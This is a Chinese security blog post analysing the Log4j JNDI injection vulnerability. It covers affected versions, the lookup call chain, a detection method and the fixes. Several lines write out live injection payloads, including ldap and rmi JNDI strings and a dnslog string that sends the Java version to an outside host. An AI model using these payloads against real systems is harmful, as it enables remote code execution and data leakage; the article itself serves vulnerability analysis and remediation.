freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Log4j漏洞详解
2022-04-02 19:18:40
所属地 浙江省

背景

几乎每个系统都会使用日志框架,用于记录日志信息,这些信息可以提供程序运行的上下文。

log4j是被广泛使用的日志框架,这次漏洞原理就是通过JNDI注入。

影响范围:2.0-beta9 <= Apache Log4j <= 2.15.0-rc1(1.x不受影响)


基础使用

我们以Maven项目为例,在pom.xml中导入log4j的依赖,这里选择2.14.0版本


<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.0</version>
</dependency>

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.0</version>
</dependency>


通过"{}"占位符,来打印日志


package com.demo.sec.log4j;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4j2Test {
    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String[] args) {
        String user = "bob";

        LOGGER.error("{} is not exited!",user);


    }
}

查看输出结果,就可以看到{}这里替换成了user的值

1648897721_62482eb92c890fa70b99d.png!small?1648897721344

当然可以在打个断点,去看下是怎么处理{}替换成user的值,漏洞分析的时候会讲到。


漏洞分析

上面是最常用的日志记录方法了,log4j提供了Lookups的能力,我们可以查看官方文档


log4j的Lookups功能可以快速打印包括运行应用容器的docker属性,环境变量,日志事件,Java应用程序环境信息等内容。


LOGGER.error("Java version :{}","${java:version}");

查看输出结果,这边输出了JDK版本


1648897694_62482e9e66917be5ddd61.png!small?1648897694591


这次漏洞的形成,是因为Log4j2组件中lookup功能的实现类JndiLookup的设计缺陷导致,这个类是在Log4j-core-xxx.jar,所以这个漏洞和Log4j-core有关


其实既然已经知道了最后调用JNDI的lookup方法,我们可以直接在JNDI的lookup方法打断点,查看执行链过程

JNDI lookup的方法调用在InitialContext.java中


写入下面代码,并且开启debug


LOGGER.error("${jndi:ldap://atf6sq.dnslog.cn}");

可以看到执行到了lookup方法中,传入的参数就是ldap://atf6sq.dnslog.cn


我们来看执行链过程


JndiLookup就是去调用了InitialContext.java中的lookup方法,其中的链如下:



JndiLookup.java:

var6 = Objects.toString(jndiManager.lookup(jndiName), (String)null);



JndiManager.java:

public T lookup(final String name) throws NamingException {

return this.context.lookup(name);

}



Context.java:

public Object lookup(String name) throws NamingException;



InitialContext.java

public Object lookup(String name) throws NamingException {

return getURLOrDefaultInitCtx(name).lookup(name);

}


理清这部分后,我们来看StrSubstitutor这个类,前面我们说了Lookups有处理变量替换的能力。Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${和},如果包含了,就会当作变量交给StrSubstitutor这个类去处理。

我们先跟着调用链往前走,可以看到MessagePatternConverter这个类的format方法

1、首先是noLookups,这也是现在漏洞修复地方,让这个变量设置为true就不会往下走了

2、第二处if判断是否包含"$"和"{",如果存在就去replace()替换

3、config.getStrSubstitutor()就是上面说的StrSubstitutor


现在来StrSubstitutor看



首先将"${}"之间的内容提取出来,交给resolveVariable这个方法来处理,可以看到resolver中的内容,可以看到Lookups定义了12种处理类型,如果能匹配到这几种处理类型,就交给它们去处理,其他的都会交给defaultLookup去处理。


比如:

如果我们的日志内容中有${jndi:rmi://127.0.0.1:1099/hello}这些内容,去掉${和}传递给resolver的就是jndi:rmi://127.0.0.1:1099/hello。resolver会将第一个":"之前的内容和lookups做匹配,我们这里获取到的是jndi,就会将剩余部分jndi:rmi://127.0.0.1:1099/hello**交给jdni的处理器JndiLookup去处理。


接下来Interpolator中lookup去处理,传入的信息debug已经标注了,最后用lookup.lookup也就是JNDI的lookup方法



漏洞检测方法

通过dnslog,还能查看jdk版本是否支持RMI或者ldap服务


${jndi:dns://${sys:java.version}.dnslog/}


漏洞修复

1、升级到2.17.0版本及以上

2、设置jvm参数:-Dlog4j2.formatMsgNoLookups=true,设置系统环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true


ps:

JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA


**漏洞悬赏计划:涂鸦智能安全响应中心(https://src.tuya.com)欢迎白帽子来探索。

招聘内推计划:涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位,简历投递sec#tuya.com,请注明来源。**

# web安全 # 漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者